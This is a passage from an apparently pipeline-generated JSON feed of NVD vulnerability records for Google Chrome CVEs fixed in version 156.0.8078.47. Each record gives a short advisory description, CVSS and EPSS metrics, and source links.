affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113053&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113053, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113052","cveId":"CVE-2026-113052","aliases":[],"kind":"vulnerability","title":"Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:56.467Z","updatedAt":"2026-10-22T15:37:31.623Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113052","asOf":"2026-10-22T15:37:31.623Z"},"epss":{"probability":0.00417,"percentile":0.35714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113052&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113052","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113052","type":"primary","publishedAt":"2026-10-20T22:18:56.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113052&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113052, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113049","cveId":"CVE-2026-113049","aliases":[],"kind":"vulnerability","title":"Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:56.137Z","updatedAt":"2026-10-22T15:37:51.403Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113049","asOf":"2026-10-22T15:37:51.403Z"},"epss":{"probability":0.00417,"percentile":0.35724,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113049&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113049","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113049","type":"primary","publishedAt":"2026-10-20T22:18:56.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113049&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113049, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113048","cveId":"CVE-2026-113048","aliases":[],"kind":"vulnerability","title":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:56.013Z","updatedAt":"2026-10-22T15:37:56.710Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113048","asOf":"2026-10-22T15:37:56.710Z"},"epss":{"probability":0.0037,"percentile":0.30629,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113048&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113048","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113048","type":"primary","publishedAt":"2026-10-20T22:18:56.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113048&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113048, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113046","cveId":"CVE-2026-113046","aliases":[],"kind":"vulnerability","title":"Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:55.793Z","updatedAt":"2026-10-22T15:38:05.320Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113046","asOf":"2026-10-22T15:38:05.320Z"},"epss":{"probability":0.0037,"percentile":0.3063,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113046&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113046","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113046","type":"primary","publishedAt":"2026-10-20T22:18:55.793Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113046&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113046, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113044","cveId":"CVE-2026-113044","aliases":[],"kind":"vulnerability","title":"Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:55.570Z","updatedAt":"2026-10-22T15:38:13.393Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113044","asOf":"2026-10-22T15:38:13.393Z"},"epss":{"probability":0.00417,"percentile":0.35721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113044&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113044","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113044","type":"primary","publishedAt":"2026-10-20T22:18:55.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113044&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113044, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113043","cveId":"CVE-2026-113043","aliases":[],"kind":"vulnerability","title":"Use after free in iOSWeb in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in iOSWeb in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in iOSWeb in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:55.457Z","updatedAt":"2026-10-21T19:28:41.720Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113043","asOf":"2026-10-21T19:28:41.720Z"},"epss":{"probability":0.00534,"percentile":0.44751,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113043&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113043","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113043","type":"primary","publishedAt":"2026-10-20T22:18:55.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113043&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113043, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113042","cveId":"CVE-2026-113042","aliases":[],"kind":"vulnerability","title":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:55.337Z","updatedAt":"2026-10-22T15:38:20.150Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113042","asOf":"2026-10-22T15:38:20.150Z"},"epss":{"probability":0.00417,"percentile":0.35724,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113042&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113042","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113042","type":"primary","publishedAt":"2026-10-20T22:18:55.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113042&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113042, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113041","cveId":"CVE-2026-113041","aliases":[],"kind":"vulnerability","title":"Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:55.223Z","updatedAt":"2026-10-22T15:38:23.927Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113041","asOf":"2026-10-22T15:38:23.927Z"},"epss":{"probability":0.00417,"percentile":0.35718,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113041&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113041","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113041","type":"primary","publishedAt":"2026-10-20T22:18:55.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113041&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113041, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113040","cveId":"CVE-2026-113040","aliases":[],"kind":"vulnerability","title":"Improper input validation in Proxy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Improper input validation in Proxy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Improper input validation in Proxy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:55.110Z","updatedAt":"2026-10-22T15:38:28.857Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113040","asOf":"2026-10-22T15:38:28.857Z"},"epss":{"probability":0.00417,"percentile":0.35718,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113040&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113040","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113040","type":"primary","publishedAt":"2026-10-20T22:18:55.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113040&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113040, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113039","cveId":"CVE-2026-113039","aliases":[],"kind":"vulnerability","title":"Use after free in Bookmarks in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Bookmarks in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Bookmarks in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:54.997Z","updatedAt":"2026-10-21T19:24:02.977Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113039","asOf":"2026-10-21T19:24:02.977Z"},"epss":{"probability":0.00426,"percentile":0.36569,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113039&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113039","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113039","type":"primary","publishedAt":"2026-10-20T22:18:54.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113039&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113039, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113037","cveId":"CVE-2026-113037","aliases":[],"kind":"vulnerability","title":"Use after free in WebSockets in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in WebSockets in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in WebSockets in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 